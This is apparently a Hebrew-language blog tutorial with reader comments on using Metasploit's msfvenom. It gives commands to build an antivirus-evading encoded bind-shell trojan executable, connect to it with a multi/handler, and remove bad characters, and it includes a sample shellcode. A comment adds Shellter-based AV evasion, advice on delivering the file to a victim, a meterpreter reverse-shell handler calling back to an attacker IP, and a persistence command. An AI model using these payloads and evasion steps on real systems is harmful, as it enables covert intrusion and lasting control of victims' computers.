במאמר זה נכיר את הכלי msfvenom וכיצד לעבוד איתו בצורה יעילה
תחילה
מה זה בכלל ShellCode ?
shellcode ,הינו אוסף של תווים אשר מהווים פקודות להרצה על המעבד(opcode).
shellcode הינו מושג מאד חשוב ונפוץ בעולם ה exploitation, מטרתו בסוף היינה לתת לנו גישת SHELL למחשב ולכן נקרא כך.
לדוגמא הSHELLCODE הבא אמור להריץ את תוכנת המחשבון של ויינדוס על מערכות ההפעלה windows xp sp2
"\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63";
נוכל להמיר את ה- shellcode לאסמבלי ולראות את תוכן ה -Shellcode
0: eb 02 jmp 0x4 2: ba c7 93 bf 77 mov edx,0x77bf93c7 7: ff d2 call edx 9: cc int3 a: e8 f3 ff ff ff call 0x2 f: 63 61 6c arpl WORD PTR [ecx+0x6c],sp 12: 63 .byte 0x63
ניתן לראות כי ה-Shellcode כתוב בבסיס 16 או בשמו hex (בסיס הקסדצימלי).
msfvenom
הכלי msfvenom הינו כלי שבא ביחד עם חבילת metasploit ויודע ליצור שלל רב של shellcodes למערכות הפעלה שונות, ולמטרות שונות.
הכלי יודע לייצר Payload גם לכלי meterpreter שהוא הbackdoor של metasploit.
הכלי הינו יחסית כלי חדש אשר בא להחליף את הכלי הישן msfpayload,
msfvenom בא גם לאחד חלק מיכולות של msfconsole אל תוך msfpayload
סביבת עבודה
סביבת העבודה שלנו היא KALI ניתן להוריד את ההפצה של מערכת ההפעלה מכאן
התחלת העבודה עם msfvenom
נריץ תחילה את הפקודה msfvenom ונוכל לקבל מידע אודות הכלי
msfvenom
עכשיו נרצה לקבל רשימה של כל הpayloads שהכלי יודע לייצר לנו
נריץ:
msfvenom --list
כתוצאה נקבל רשימה של כל הpayloads והמטרה של כל payload
קצת הסבר על bind \ reverse
bind – הקוד אשר יורץ יפתח שרת על המחשב, והתוקף יצטרך להתחבר לשרת
reverse – הקוד אשר יורץ ינסה להתחבר לשרת מרוחק, של התוקף וזאת על מנת לעקוף מנגנוני הגנה
בחירת Payload
נבחר עתה בpayload אשר מתאים לwindows ומסוג bind
msfvenom -p windows/shell/bind_tcp
בכדי לראות את כל המידע על הpayload נוסיף את הflag הבא payload-option
msfvenom -p windows/shell/bind_tcp --payload-option
נוכל לראות כי כרגע הפורט אשר יפתח יהיה 4444
שינוי מאפייני ה – payload
כדי לשנות את זה (או כל מאפיין אחר שנרצה) נוסיף LPORT=443 בדוגמא הזאת השרת יאזין לפורט 443 נוכל לשנות כל מאפיין אחר באותה צורה
msfvenom -p windows/shell/bind_tcp LPORT=443
המנעות מתווים גרועים
בגלל שהמטרה שלנו היא להכניס את אותו ה- shellcode כ input בתוכנות פגיעות, ומהסיבה שאנחנו מסתכלים עליו כעל string ומרצים פוניקציות (לדוגמא strcpy) אשר עובדות על מחרוזות .
נרצה שה- shellcode לא יכיל תווים בעייתיים לדוגמא \x00 המייצג סיום מחרוזת
בשביל זה נשתמש בflag הבא -b
רשימה מלאה של תווים שכדי להוריד: '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
msfvenom -p windows/shell/bind_tcp LPORT=443 -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
קידוד
על מנת להתחמק מאנטי וירוסים נוכל לקודד את ה -Payload שלנו דוגמא לקידוד נחמד יהיה shikata_ga_nai
כדי לראות את כל הencoders הקיימים נוכל להריץ את הפקודה
msfvenom -l encoders
התוצאה שנקבל:
msfvenom -p windows/shell/bind_tcp LPORT=443 -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' -e x86/shikata_ga_nai
ייצור קובץ הרצה
על מנת לקבל את התוצאה של ההרצה נשתמש בשני Flugs חשובים
-f לפורמט התוצאה
-o לנתיב שבו נרצה לשמור את הקובץ
הפקודה .הבאה תעזור לנו לקבל את כל הפורמטים האפשרים
msfvenom --help-format
אנחנו נרצה לשמור את הקובץ קובץ בינארי להרצה בווינדוס לכן נבחר ב – exe
ונכניס נתיב ל Desktop שלנו
msfvenom -p windows/shell/bind_tcp LPORT=443 -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' -e x86/shikata_ga_nai -f exe -o ~/Desktop/trojan_bind_tcp_443.exe
עתה נלך לשולחן העבודה ונוכל לראות כי הקובץ אכן נוצר
התחברות לטרויאן
נקח את הקובץ ונפעיל אותו על המחשב אשר אליו אנחנו רוצים להתחבר
תחת הkali נכנס ל metasploit ע"י הפקודה msfconsole
נקיש את הסט פקודות הבא
use exploit/multi/handler set payload windows/x86/shell/bind_tcp show options
נוכל לראות כי נצטרך להכניס לו את הערכים LPORT ו – RHOST .
בrhost נכניס את האיפי של המחשב הנבדק
ובlport נכניס את הפורט שהגדרנו
set RHOST <ip> set LPORT <PORT> exploit -j
נוכל לראות כי הצלחנו להתחבר למחשב המרוחק בהצלחה
דברי סיכום
זהו, מקווה שנהניתם, אתם מוזמנים להרשם לניוזלטר שלנו (פה מצד ימין) בכדי לקבל עדכונים על פוסטים חדשים.
אני לא רואה ברשימת המקודדים את shikata_ga_nai דבר שני – יש לך שם powershell base 64 שהוא לכאורה יותר יעיל
MSFVENOM כלי משעמם ולא רלוונטי, עדיף כבר shellter.exe.
התוקף 192.168.1.10
wine shellter.exe
לאחר שבדקנו obfuscation בטח לא בוירוסטוטאל השייך לגוגל אלא בMETASCAN ONLINE
נשלח את הקובץ לקורבן או דרך לינק הזרקה.
יש לציין כי SHELLTER בורח ב99% מכל אנטי וירוס חוץ מAVIRA.
use exploit/multi/handler
set payload windws/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lpor 4545
exploit
לאחר מכן כשבדקנו שיש דלת אחורית והאקספךויט עובד ישיר, ממשיכים הלאה לPERSISTENCE:
meterpreter> run persistence -U -i 5 -p 4545 -r 192.168.1.10
כרגע החיבור שלנו קבוע גם אם הקורבן יאתחל את המחשב שלו על ידי הקשת EXPLOIT